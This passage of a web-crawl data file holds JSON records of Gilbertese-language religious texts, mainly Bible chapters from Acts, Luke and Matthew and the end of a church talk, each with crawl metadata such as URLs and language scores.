ti kamaiuia rooro, ma e na kamanoa maiumi ae akea tokina, bwa ti te kawai n okira Tamara are i Karawa ao ni kunea te kimwareirei ae koaua ngkai ao n aki toki. N aran Iesu Kristo, amen.\n-\n1. Gordon B. Hinckley, \"Standing Strong and Immovable,\" Worldwide Leadership Training Meeting, Tianuare 10, 2004, 20; tara naba Gordon B. Hinckley, \"Our Responsibility to Our Young Women,\" Ensign, Tebetembwa 1988, 10.\n-\n2. \"Te Utu: Te Katanoata nakon te Aonaaba,\" Ensign or Liahona, Nobembwa 2010, 129.\n-\n3. Russell M. Nelson, \"Generations Linked in Love,\" Ensign ke Riaona, Meei 2010, 92.\n-\n4. Tara Mataio 25:1–13.\n-\n5. Tara \"I Love to See the Temple,\" Children's Songbook, 95.\n-\n6. Thomas S. Monson, \"Meeting Your Goliath,\" New Era, Tuun 2008, 7.\n-\n7. Personal interview with author, 2013.\n-\n8. Robert D. Hales, \"How Will Our Children Remember Us?\" Ensign, Nobembwa 1993, 10.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.lds.org\/broadcasts\/article\/general-young-women-meeting\/2013\/03\/when-you-save-a-girl-you-save-generations?lang=spa&clang=gil","date":"2013-12-07T08:29:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163053883\/warc\/CC-MAIN-20131204131733-00023-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":2188,"character_repetition_ratio":0.046,"word_repetition_ratio":0.003,"special_characters_ratio":0.229,"stopwords_ratio":0.405,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"TE KAOTIOTI 1:1717Ngke I nooria ao I katorobubua ni bobaraaki i rarikini waena n ai aron te mate; ao E kaaki baina are ataina i aou, ao E kaangai, Tai maku! Boni Ngai te Moa ao te Toki. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Rev\/1\/17","date":"2013-12-07T13:47:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163054548\/warc\/CC-MAIN-20131204131734-00023-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":0.999917984,"language_script":"Latn","minhash_cluster_size":25,"top_langs":"{\"gil_Latn_score\": 0.9999179840087891}","num_words":53,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.252,"stopwords_ratio":0.321,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1E roko naba Bwauro i Rerebe ao i Rutetera; ao nooria, e mena iai te aomata ae e onimakina Iesu, ae arana Timoteo; tinana bon te I-Iutaia ae e onimakina naba Iesu, ao tamana te I-Erene. 2E kamoamoaaki Timoteo irouia taari ake a mena i Rutetera ao i Ikonio. 3E tangiria Bwauro bwa e na kairia bwa raona, ma ngaia are e koroberoia. E karaoa aei Bwauro ibukina bwa a bane n ataia I-Iutaia ake a maeka n taabo akekei bwa te I-Erene taman Timoteo. 4Ao ngke a kabutai kaawa nako uaakekei, ao a anganiia ekaretia taeka ake a motikaki irouia taan tuatua ma unimwaane ake a mena i Ierutarem bwa a na tauu. 5Ma ngaia are a kakorakoraaki ekaretia nakon te onimaki, ao a kabatiaaki kaaia n te bong ae koraki. 6Ao a mwananga n ri nuukan te aba are Berukia ma Karatia, ngke a tuukaki iroun te Taamnei are e Raoiroi bwa a na aki taekina ana taeka te Atua i Atia; 7ao ngke a kaania Mutia, ao a kataa te nako Bitunia, ma E tukiia Taamnein Iesu; 8ao a ri rarikini Mutia, ao a wairio nako Teroa. 9E noora kaanga te mii Bwauro e bong: e tei te aomata temanna ae te I-Mwaketonia ni butiia, ao e kaangai, Nakomai nako Mwaketonia ni buokira. 10Ao ngke e a tia n noora kaanga te mii arei, ao ti a kataa naba ngkekei te nako Mwaketonia, bwa ti taku bwa E boni weteira te Atua bwa ti na tataekina te euangkerio nakoia aomata ikekei. 11Ti borau mai Teroa, ao ti kaeta kawaira n nako Tamoterake; ao n te bong are i mwiina, ao ti a manga borau nako Neabori; 12ao maikekei nako Biribi, ae kaawani moani mwakoroni Mwaketonia, ao te kaawa naba ae e maekanaki irouia ana aomata te tautaeka n Rom; ao ti tiku iai tabe bong. 13Ni bongin te taabati ao ti oti nako mani mataroan te kawai n rin n te kaawa arei nako rarikin te karaanga teuana are ti taku bwa e mena iai te nne n tataro; ao ti tekateka n taetae nakoia aine ake a roko ni bootaki iai. 14E ongoraa iroura te aine temanna ae arana Nei Ruria, ae te I-Tuateira, ae te tia kabooa nako te kunnikai ae e uraroo. E tataromauriia te Atua, ao E kauka nanona te Uea bwa e na butimwaai baike e taekini Bwauro. 15E bwaabetitooaki ma kaain ana auti, ao e butiira, ni kaangai, Ngkai kam a tia n taku bwa te tia onimakina te Uea ngai ni koaua, ao kam na rin n tiku n au auti. Ao e kairoroira. 16Ngke ti nako n te nne n tataro, ao ti bo ma te ateiaine ae e kabooaki bwa te toro. E taniaki iroun taamneini Buton, ao e karekei ni kabatiai aia bwai ana toka man arona n taekini baika a na riki nakoni boong aika a na roko. 17E iriira ma Bwauro, ao e aki toki n takaarua ni kaangai, Ana toro te Atua are Moan te Rietata aomata aikai, ao a kaota te kawai ni kamaiu nakoira. 18Ao e kaakaraoa aei ni boong aika a bati n te aro are e a un irouna Bwauro. E rairaki, ao e kaangai nakon te taamnei are i nanon te ateiaine arei, I tuangko n aran Iesu Kristo bwa ko na oti nako mai irouna. Ao e a oti nako naba n te aoa arei. 19Ngke a nooria ana toka bwa e a bua te baere a onimakinna ibukin rekeni kaubwaia, ao a taua Bwauro ma Tira, ni katikiia nakon te tabo ni mwaakete nakoia taan-tautaeka; 20ao a kateiia i mataia taani motiki-taeka, ao a kaangai, A bati ni kakiriweea ara kaawa aomata aika a I-Iutaia aikai, 21ao a reirei aaro aika a aki riai iroura bwa ti na tauu, ke ti na karaoi, ngkai I-Rom ngaira. 22Ao a tei rake aomata n ekiia nako; ao taani motiki-taeka a raei aia kunnikai uaakekei mai aoia, ao a tua bwa a na kataereaki. 23I mwiini kaia n oreaki ae e bati, ao a kaakiia i nanon te karabuuti, ao a tuanga te tia kaawakiniia buure bwa e na teiakiniia raoi; 24ao ngaia ngke e tuangaki arei, ao e kaakiia Bwauro ma Tira n te ru ni kaikain are i nuuka, ao e karini waeia n te kai ni kabaewae. 25Ngke e a nuukanibong ao a tataro Bwauro ma Tira, ao a anene n neboa te Atua; a ongoraa aomata ake buure irouia, 26ao e a karina naba n roko mwaeiein te aba ae e korakora, n te aro are e mwaeiei naba te tabo are e tei i aona te karabuuti; ao a bane n uki ngkekei naba mataroan te karabuuti, ao a bwara kabaeaia buure ni kabaneia. 27Ngke e uti mani matuuna te tia kaawakiniia buure, ao ngke e noori mataroan te karabuuti bwa a uki, ao e buuta ana kabaang bwa e nangi bakabureia, bwa e taku bwa a a tia ni biri nako buure. 28Ma e kanenea bwanaana Bwauro n taetaenakoina, ni kaangai, Tai karaoa ae e buaakakanakoim, bwa ti bane ni mena ikai. 29Ao ngaia e weewete ibukin taura, ao e biri n rin n ruru ni maaku, ao e katorobubua ni bobaraaki i matani Bwauro ma Tira; 30ao e kairiia ni kaotinakoia ao e taku, Mwaane, tera ae e riai bwa N na karaoia bwa I aonga ni kamaiuaki? 31Ao ngaiia a taku, Ko na onimakina te Uea are Iesu, ao ko a kamaiuaki iai ma am utu. 32Ao a taekina ana taeka te Atuanakoina, ao nakoia naba kaain ana auti ni kabaneia. 33Ao e kaira Bwauro ma Tira n aoan te tairiki naba anne, ao e teboki mwiini kaiia; ao e a bwaabetitooaki naba ngkekei ma kaain ana auti ni kabaneia. 34E kaira rake ngkanne Bwauro ma Tira nakon ana auti, ao e anganiia kanaia. E kaonaki nanona n te kimwaareirei ibukin onimakinan te Atua irouna; ao ai aroia naba kaain ana utu. 35Ma ngke e a ngaina, ao a kanakoaki bureitiman irouia taani motiki-taeka, ao a kaangainakoia, Kam na kanakoia aomata akekei. 36Ao te tia kaawakiniia buure e taekin taeka akanne nakoni Bwauro, ni kaangai, A kanakomaia aia taeka taani motiki-taeka bwa kam na kainaomataaki, ma ngaia ae kam na oti nako ao naako ma te rau. 37Ma e taku Bwauro nakoia bureitiman, A kataereira i mataia aomata, n akea kaboowiian taekara, ao I-Rom ngaira. A kaakiira i nanon te karabuuti, ao a nang kanakoira ngkai ni karabaa kanakoara? E aki riai; ma a na bon nako mai ngaiia ni kaotinakoira. 38A tuangaki taani motiki-taeka taeka akanne irouia bureitiman; ao ngke a ongo bwa I-Rom, ao a maaku. 39A nako n raraoma nakoia, ao a kairiia nako man te karabuuti, ao a butiia bwa a na nako man aia kaawa. 40A oti nako ngkanne man te karabuuti, ao a nako n rin n ana auti Ruria; ao ngke a nooriia taari, ao a kauungai nanoia, ao a nako.\nMWAKURI 16","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/16","date":"2013-12-09T14:58:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163983709\/warc\/CC-MAIN-20131204133303-00052-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1157,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.236,"stopwords_ratio":0.454,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1N te bong ae te taabati, ngke E ri nuukan nnen te aroka ae te uiita Iesu ma ana reirei, ao a anai uaa n uiita ana reirei, a bubui i baiia, ao a kang. 2A nooraki irouia Bwaritaio tabemwaang, ao a taku nakoia, E aera ngkai kam karaoa ae e eekaanako te tua ibukin te taabati? 3E kaekaia Iesu ao E taku, Kam tuai ni wareka taekan te baere e karaoia Tawita ngke e baki, ngaia ma ake raona? 4Bwa e rin i nanon ana auti te Atua ao e anaa te berena are e kaotiotaki ao e kanna ma akea ae e kariaiakaki bwa e na kanna bwa ti ibonga, ma Tawita e anganiia naba ake raona bwa a na kanna? 5E a manga taku riki nakoia, Natin te aomata bon Uean te taabati. 6N te taabati teuana, ngke E rin Iesu ni mwaneabaia I-Iutaia ao E reireia aomata iai; ao e mena ikekei temanna ae e mate baina ae ataina. 7A tarataraa Iesu taani koroboki ma Bwaritaio, bwa tao E na karaoa te mwakuri ni kamaiu n te taabati ke E na aki, bwa a kani karekea kabuaakakaana. 8Ma E atai nanoia Iesu, ma ngaia are E taku nakon te aomata are e mate baina, Nako mai tei ikai. Ao ngaia e tei rake ao e nako n tei ikekei. 9Ao E taku nakoia Iesu, I tuangkami, e eekaki nako te tua ibukin te taabati ni karaoan ae e raoiroi ke ae e buaakaka nakon te aomata, ni kamaiuana ke ni kamateana? 10Ao E taraiia nako ni kabaneia, ao E taku nakoina, Arora nako baim. E karaoa tuangana teuarei, ao e a manga oki marurungini baina. 11A rangi n un ao a iango irouia bwa tera ae a na karaoia nakon Iesu. 12Ni boong akekei, ao E nako Iesu nakon te maunga bwa E na tataro iai, ao E kangainaa n tataro nakon te Atua. 13Ngke e a ingabong, ao E weteiia ana reirei ao E rineiia tengauni ma uoman mai buakoia, ao E atongiia bwa taan tuatua, Aikai araia; 14Timon, are E anganaki arana teuana iroun Iesu bwa Betero, ao Anterea are tarina; Iakobo ao Ioane, Biribo ma Bwaretoromwaio, 15Mataio ma Toma, Iakobo are natin Arebwaio ao Timon are e aranaki bwa Terote, 16Iuta are tarin Iakobo ao Iuta Itekariota, are e riki rimwi bwa te tia kamwanea Iesu. 17Ao E ruo Iesu ma uaake tengauni ma uoman ao E tei n te tabo ae e aoraoi ni bootaki ma ana reirei aika rangi ni mwaiti ao aomata aika bati ake a roko mai Iutaia ao Ierutarem ao man taabo ake i rarikin taari i Tuuro ao i Titon. A roko bwa a na ongoraa iroun Iesu ao a na kamaiuaki man aorakiia; 18ao a kamaiuaki ake a taniaki irouia anti ake a buaakaka. 19Ao a bane aomata ni kan riingnga, ibukin ae e nako mai irouna te mwaaka, ao E kamaiuiia ni kabaneia. 20E tabeki matana n taraiia ana reirei, ao E taku, Kam a kabwaia ngkami akana kam aki kaubwai, bwa ami bwai uean te Atua. 21Kam a kabwaia ngkami akana kam baki ngkai, bwa ane kam na nuai. Kam a kabwaia ngkami akana kam tanginiwenei ngkai, bwa ane kam na ngarengare. 22Kam a kabwaia ngkana a ribaingkami aomata, ao ngkana a katinanikuingkami ma n taetaebuakaingkami, ao ngkana a atong arami bwa aara aika kamwaraa, ibukin onimakinan Natin te Aomata iroumi! 23Kam na kimwaareirei n te bong arei, ao kam na kibakiba rake ni kukurei, bwa nooria, a bati kaniwangami i karawa aika kam na anganaki mai iroun te Atua; bwa a karaoi naba baikai aia bakatibu nakoia aia buraabeti. 24Ma a na reke kaimi ngkami akana kam kaubwai, bwa a a tia n reke karauan nanomi. 25A na reke kaimi ngkami akana kam ngae, bwa ane kam na baki. A na reke kaimi akana kam ngarengare ngkai, bwa ane kam na tanginiwenei ao kam na katuumaua te tang. 26A na reke kaimi, ngkana a bane aomata ni kamoamoaingkami, bwa a karaoa naba aron aei aia bakatibu nakoia buraabeti ni kewe. 27I taku nakoimi akana kam ongoraa irou, Kam na tangiriia ami kairiribai, ao karaoa ae e raoiroi nakoia akana ribaingkami. 28Kakabwaiaia akana a taetae ni kamaraiaingkami, ao tataro i bukiia akana a karaoa ae e buaakaka nakoimi. 29Ane e orea tabam teuana ao anganna naba tabam ane teuana bwa e na oreia; ao tai rawa n anga am kauaatao ni kabaraaki nakon ane e anaa am kabaraaki ane i aan am kauaatao. 30Aanga nakon ane e butiiko; ao tai tangiri am bwai bwa a na kaokaki mai iroun ane e kani uoti nako. 31Karaoa naba nakoia aomata te baere ko kaantaningaia bwa a na karaoia nakoim. 32Ngkana kam tangiriia akana tangiringkami, ao tera kamoamoaami ae e na reke iai? Bwa aomata aika taani bure a tangiria naba aomata ake a tangiraki irouia. 33Ao ngkana kam karaoa ae e raoiroi nakoia akana karaoa ae e raoiroi nakoimi, ao tera kamoamoaami ae e na reke iai? Bwa a karaoa naba aron aei taani bure. 34Ao ngkana kam anganiia akana kam taku bwa a na manga kaoka naba mwaitin are kam anga nako, ao tera kamoamoaami ae e na reke iai? Bwa angaanga naba taani bure nakoia taani bure, bwa a aonga ni karekea naba mwaitin are a anga nako mai irouia. 35Ma kam na tangiriia ami kairiribai, ao karaoa ae e raoiroi nakoia, ao aanga n aki manga kaantaninga booni mwiina bwa e na okiringkami; ane e na bati te kabwaia ane e na reke iroumi iai, ao ane kam na riki bwa natin Teuare e Moan te Rietata; bwa E aakoi te Atua nakoia akana bangaomata ao akana a iangoiia i bon irouia. 36Kam na bwaina te nanoanga, n ai aron Tamami ae e bwaina te nanoanga. 37Kam na tai motiki-taekaia aomata, ao ane e na aki motikaki taekami; kam na aki kabuaakakaia aomata, ao ane kam na aki kabuaakakaaki; bwaina te kabwarabure, ao ane a na kabwaraaki ami bure. 38Bwaina te angaanga, ao ane kam na anganaki; ane e na kanoaaki rabin kunnikaimi ni kaonrakeaki. E na kaibeaki, e na ioioaki, ao e na taonako kanoana. Bwa te baaire are kam anga ao ane kam na manga anganaki. 39E tuangiia naba te taeka n rabakau ae kaangai, E konaa te aomata ae e mataki ni kaira te aomata ae e mataki? A na aki uaia ni bwaka n te kinono iai? 40E aki kakannato riki are e reireiaki i aon ana tia reirei, ma ngkana a bane n reireiaki raoi aomata ao ane a na katootoonga aron aia tia reirei. 41E aera bwa ko noora te maange ae moan te uarereke i nanoni matan tarim, ao ko aki noora te oka ane i nanoni matam? 42Ao ko kangaa n rabakau ni kaangai nakon tarim, Tariu, N na kaaki te maange ane e uarereke mai nanoni matam, ngkai ko aki konaa te noora te oka ane i nanoni matam? Te tia mwaamwanaa-te-aba, ko na kaaki moa te oka ane i nanoni matam, ao ko a tibwa konaa n noora raoi kanakoan te maange ae e uarereke mai nanoni matan tarim. 43Bwa akea te kai ae e raoiroi ae e na kariki uaana aika bubuaka, ao akea naba te kai ae e buaakaka ae e na kariki uaana aika raraoi; 44bwa a kinaaki aroni kaai nako n uaaia. Bwa a aki anaaki biiku mani kaai aika akanta ao kureebe mani kaai aika kateketeke. 45E kaoti baika a raraoi te aomata ae e raoiroi mani bwain nanona aika raraoi; ao e kaoti baika a bubuaka te aomata ae e buaakaka mani bwain nanona aika bubuaka: ao e taetae te wi man onraken te nano. 46E aera ngkai kam atoatonga ae e kaangai nakoiu: Te Uea, te Uea; ao kam aki ira nanon te bae I tuangkami? 47Te aomata ane e nakoiu ao e ongo au taeka ma n tou mwiia, ao N na tuangkami arona: 48ai aron te aomata are e katea ana auti. E kena aontano ni kananoa, ao e kawenea iai aan ana auti i aon te bwa; ngke e roko te raanga, ao e neakina te auti arei te raanga, ma e aki konaa ni kamwaeia, ibukina bwa e a tia ni katea raoi ana auti te aomata arei. 49Ma ane e ongo au taeka ma n aki tou mwiia, ao ai aron te aomata are e katea te auti i aontano ma akea aana ae e kaboonganaa; e neakinaki te auti n te raanga ao e a bwaka naba, ao e korakora uruakina.\nRUKA 6","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/6","date":"2013-12-11T05:55:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164032040\/warc\/CC-MAIN-20131204133352-00097-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1422,"character_repetition_ratio":0.055,"word_repetition_ratio":0.003,"special_characters_ratio":0.231,"stopwords_ratio":0.417,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngke e a tibwa ingabong, ao ibonga ake mataniwi ma aia unimwaane aomata a iangoa aron Iesu bwa a na kamatea; 2a kabaea, ao a kairia nako, ao a angani Birato are te tia tau-taeka. 3Ao Iuta, are e kamwanea Iesu, ngke e nooria bwa E kabuaakakaaki Iesu ao bwa E na kamateaki, ao e rootaki n te nanokaawaki ibukin te baere e a tia ni karaoia. E uoti mwaane ake tirewa ake tenibwi ao e kaoki nakoia ibonga ake mataniwi ma unimwaane; 4ao e taku, I a tia ni bure ngke I kamwanea te aomata ae akea ana bure. Ao a taku, Tera ara bwai iai? Ai bon am bwai anne. 5Ao Iuta e karenako mwaane ake tirewa ake tenibwi nako aontano i nanon te ru are e tabu n te umwantabu, ao e kiitana ikekei; ao e nako ni kabaea roroana. 6Ao ibonga ake mataniwi a anai mwaane ake tirewa, ao a taku, E aki riai i aan te tua bwa a na katukaki mwaane aikai n te umwantabu, ibukina ngkai mwaane aika booni maiun te aomata. 7Ngke e a reke aia iango iai, ao a kamanenaa ni kabooa iai aban te tia karao-bwaata, bwa nneia iruwa n taunaki. 8Ma ngaia are e a atoatongaki te aba arei bwa te Aba n Raraa ni karokoa te bong aei. 9E a kakoroaki ngkanne bukin are e a tia n taekinna te buraabeti are Ieremia, ngke e kaangai, Ao a anai mwaane aika tirewa aika tenibwi, ae te mwaiti ni mwane are a a tia ni bo nanoia iai tabemwaang i buakoia te bootanaomata ae Iteraera, bwa a na kabwakaa ibukina, 10ao a kamanenaa ni kabooa iai aban te tia karao-bwaata, n ai aron ana taeka te Uea nakoiu. 11E tei Iesu i matan te tia tau-taeka; ao e titirakina Iesu, ni kaangai, Aia Uea I-Iutaia Ngkoe? E taku Iesu, Ngaia ane ko taku. 12Ma ngke a tabeki aia taeka ni bukibuki ibonga ake mataniwi ma unimwaane, ao akea ana kaeka Iesu ae e anga. 13E taku ngkanne Birato nakoina, Ko aki ongo aia taeka aika a bati ae a bukiniko iai? 14Ma akea ana kaeka ae E anga naba teutana; ma ngaia are e rangi ni miimii irouna Birato. 15E tataneiai te tia tau-taeka ni katoaa tain te Toa are te Riao ni kainaomataa te bure temanna are a tangiria. 16N te tai anne ao iai te bure temanna ae e bati n atoatongaki ae arana Bwara bwa. 17Ao ngke a bootaki aomata aika a bati, ao e taku Birato nako ia, Antai ae kam tangiria bwa N na kainaomataa i bukimi, Bwarabwa ke Iesu are e atongaki bwa te Kristo? 18Bwa e ataia n ae a a tia aomata ake a kakannato, ake aia aomata I-Iutaia n anga Iesu nako nanoni baina ibukina bwa a bakantang. 19Ngke e tekateka Birato n ana tabo are e moomotiki-taeka iai, ao e kanakoa ana rongorongo buuna nakoina, a e kaangai, Akea te bae kam na karaoia nakon te aomata ane e raoiroi anne, bwa I miia ngke e tairiki ao I aki rau iai. 20A kairoroia aomata ibonga ake mataniwi ma unimwaane bwa a na buubuti Bwarabwa, ao a na tua bwa E na kamateaki Iesu. 21E a manga titirakiniia naba aomata te tia tau-taeka, ao e taku, Antai irouia uaaka uoman aikai ae kam tangiria bwa N na kainaomataa i bukimi? Ao a kaangai, Bwarabwa. 22E taku Birato nako ia, Ao tera ngkanne ae N na karaoia nakon Iesu are e atongaki bwa Kristo? A bane n taku, E na kamateaki n te kaibangaki. 23Ao ngaia e taku, Ao? Bwa tera ae e buaakaka ae E karaoia? Ao a kanenei riki bwanaaia n takaarua ni kaangai, E na kamateaki n te kaibangaki. 24Ngke e nooria Birato bwa akea riki te bae e konaa ni karaoia, ao bwa e a moanna n riki te kiriwe, ao e anaa te ran, ao e teboki iai baina i mataia aomata, ao e taku, N na aki bukinaki ni maten te aomata aei; kam na bukinaki iai. 25Ao a bane ni kaeka aomata ni kaangai, E na mena i aora, ao i aoia ara kariki, te bukinaki ibukini matena. 26E a kainaomataaki ngkanne Bwarabwa irouni Birato n aron are a tangiria aomata; ao ngke E a tia ni kataereaki Iesu, ao e anga bwa E na kamateaki n te kaibangaki. 27Ao E kairaki Iesu irouia ana tautia mataniwiin te tautaeka nako nanon te Beritorium, ao a baneakinna tautia ake a mena ikekei. 28Ao a buuti kunnikaina, ao a kaaki te niiniira ae e ura-ro i aona. 29A karaoa te mwae ni kaai aika a kateketeke, ao a katokaa i aon atuna; ao a kaaki te kai i baina ae angaataina; a katorobubua ngkanne i matana, ao a kakanikoa ni kaangai, Ko na mauri aia Uea I-Iutaia. 30Ao a bawareia, ao a anaa te kai ao a orea atuuna iai. 31Ao ngke a a tia ni kakanikoa, ao a buuta te niiniira mai aona, ao a manga karini kunnikaina i aona, ao a kairia nako bwa a na kamatea n te kaibangaki. 32Ngke a toua kawaia n oti nako, ao a bo ma te I-Kurene temanna, ae arana Timon; ao a kairoroa tautia bwa e na uota te kai are E na tauraki iai Iesu. 33Ao ngke a roko n te taabo ae arana Korokota (ae nanona, te tabo n tabwanou), 34ao a angan Iesu te wain, ae renganaki ma te bwai ae mao; ma ngke E katoongnga teutana, ao E aki kan nimma. 35Ao ngke a a tia n taura Iesu n te kaibangaki, ao a tibwai kunnikaina i marenaia n te aro ni kaiwa. 36A tekateka ngkanne ikekei, ao a tantani i rarikina. 37A kaaki i etan atuuna te koroboki ae taekani bukinana, ae e kaangai, IESU TEUAEI AE AIA UEA I-IUTAIA. 38Ao a tauraki ma Ngaia uoman taani kamwarua, temanna i angaataina ao temanna i angamaingina. 39Ao aomata ake a ri kekei a taetae n iowawa nakoina, ao a kaenaenaa, 40ao a kaangai, Ngkoe are Ko na urua te umwantabu ni manga kateia i nanon teni bong, Ko na kamaiuko! Ngkana Natin te Atua Ngkoe, ao Ko na ruo man te kaibangaki. 41Ao ai aroia naba ibonga ake mataniwi, ma taani koroboki, ma unimwaane; a kakanikoa ni kaangai, 42E kamaiuiia temwaangina, ma E aki konaa te kamaiua. Ngkana aia Uea Iteraera, ao ke E ruo man te kaibangaki ngkai, ao ti na onimakinna. 43E onimakina te Atua; ke E kamaiua te Atua ngkai ngkana E tangiria, bwa E kaangai ana taeka: Natin te Atua Ngai. 44Ao a taetae naba n iowawa nakoina taani kamwarua ake a tauraki ma Ngaia. 45Ngke e a tawanou, ao e roo aon te bwa ni kabane ni karokoa te aoa tenua n te tanimaeaontaai. 46Ao ngke tao te aoa tenua, ao E takaarua Iesu n te bwanaa ae e korakora, ni kaangai, Eri, Eri, ramwa tabwaketani? ae nanona, Atuau, Atuau, E aera ngkai Ko kiitanai? 47Ao aomata tabemwaang ake a teitei n ua kaan ma ikekei, ngke a ongo, ao a taku, E wetea Eria Teuaei. 48Ao temanna i buakoia e biri ngkekei naba n anaa te tibwanti, ao e katibua n te wain ae e kamangingi, ao e kaaki i tabon te kai, ao e anganna bwa E na mooi iai. 49Ma a taku ake raona, Tataninga, bwa ti na mataku bwa tao e na nako mai Eria ni kamaiua. 50Ao E a manga takaarua naba Iesu n te bwanaa ae e korakora, ao E anga taamneina. 51Ao nooria, e raeuaki nakoni mwakoro aika uoua te kunnikai are rokin te ru are e tabu n te umwantabu, mai eta nako nano; ao e mwaeiei aon te aba, ao a tabwenaua taiani bwa; 52a kaukaki neia maate, ao a mwaiti aomata aika a raoiroi ake a tia ni matuu aika a manga kamaiuaki. 53A oti nako mani nneia i mwiini manga-maiun Iesu, ao a nako n te kaawa are e tabu, ao a kaoti nakoia aomata aika a bati. 54Ngke e noora mwaeiein te aba ma baike a riki mataniwiin te taanga ni buaka are tebubua kaaina, ao a nooria naba raona ake a tantani i rarikin Iesu, ao a taonaki n te maaku ae e korakora; ao a taku, Bon te koaua bwa Natin te Atua Teuaei. 55A mwaiti naba ikekei aine aika a mataku mai kiiraroa; ao aine akekei a ira Iesu mai Kariraia ni buokia. 56I buakoia aine akekei bon Nei Maria are te I-Mwaaketara, ma Nei Maria are tinan Iakobo ma Iotebwa, ao ai te aine are tinaia mwaane ake natin Tebetaio. 57Ngke e a tairiki, ao e roko temanna te aomata ae e kaubwai mai Arimataia; aran teuaei Iotebwa, ao bon temanna naba ngaia ana reirei Iesu. 58E nako ni Birato, ao e butiia rabwatan Iesu. E tua ngkanne Birato bwa e na anganaki Iotebwa rabwatan Iesu. 59Ao Iotebwa e anaa rabwatan Iesu, ao e niiria n te kunnikai ae e itiaki, 60ao e kawenea n ana nne ni mate ae e boou, ae e ekea i nanon te bwa; ao e karabinoa te atiibu ae e rangi ni buubura ni kaaki i matan te nne ni mate, ao e nako. 61A tekateka ikekei Nei Maria are te I-Mwaaketara ma Nei Maria are temanna, ni kaaitaraa te nne ni mate. 62N te bong are i mwiina, are bongin te taabati, ao a bootaki ma Birato ibonga ake mataniwi ma Bwaritaio, 63ao a taku, Teuae karineaki, ti uringa ana taeka te tia bureburea-te-aba arei, ngke E kaangai n ana tai ni maiu: I mwiin teni bong, ao N na manga maiu. 64Ma ngaia ae ko na tua bwa e na tararuaki raoi te nne ni mate ni karokoa te kateni bong, bwa a kaawa n roko ana reirei n iraea, ma ni kaangai nakoia aomata: E a manga maiu mai buakoia maate; ao ane e na buaakaka riki te aro ni bureburea te aba aei nakon are mai mwaaina. 65E taku Birato nako ia, Kaira te tautia, ao kam na nako n taraia bwa e teiakinaki raoi rarikin te nne ni mate n aron ae kam konaa. 66Ao a nako, ao a kamatoaa te nne ni mate arei, ao a kaaki te kanikina i aona ni kaotia iai bwa akea ae e na kamwakura te atiibu; ao a katikuia tautia ikekei bwa a na tantani i rarikin te nne ni mate.\nMATAIO 27","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Matt\/27","date":"2013-12-10T17:04:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164022328\/warc\/CC-MAIN-20131204133342-00005-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1729,"character_repetition_ratio":0.053,"word_repetition_ratio":0.001,"special_characters_ratio":0.243,"stopwords_ratio":0.459,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1A mwananga ri nuukan Ambibori ma Aboronia, ao a roko i Tetaronike, are iai mwaneabaia I-Iutaia iai. 2Ao e rini Bwauro n te mwaneaba n aron are e tataneiai iai, ao e reireiia aomata koaua man te Baibara i nanon teniua te taabati, 3ni kabwarabwarai nanoia, ao ni kaoti mwakoro maiai ake a taekina te Kristo bwa E riai n ri nanon te rawaawata ma te maraki, ao bwa E na manga maiu mai buakoia maate; ao e takunakoia, Iesu aei ae I taekinnanakoimi, bon te Kristo Ngaia. 4Iai tabemwaang i buakoia aika a anaaki nanoia, ma ngaia are a raona Bwauro ma Tira; ao a raonaki naba irouia I-Erene aika a bati aika a tataromauriia te Atua, ao irouia aine aika a bati aika a kakannato. 5Ao a bakantang I-Iutaia, ma ngaia are a bobootiia aomata tabemwaang aika a buaakaka ake a roko n akea boongaia n te tabo ni mwaakete, ao ngke a mwaiti aia koraki, ao a kakiriweea te kaawa. A ninia ma n urua ana auti Iaton n ukoukoriia uaakekei, bwa a na kaotiia nakoia aomata. 6Ao ngke a aki reke irouia, ao a katika Iaton ma taari tabemwaang nakoia taan taua taekan te kaawa arei, ao a takaarua ni kaangai, A roko naba ikai uaake a kakiriwe n taabo nako, 7ao e akoiia Iaton; a bane te koraki aei n ri aon ana taeka Kaitara, ngkai a taku bwa bon iai riki temanna te uea bwa Iesu. 8Ao a kiriwe nanoia aomata ma taan taua taekan te kaawa arei ngke a ongo taeka akekei. 9Ao ngke a a 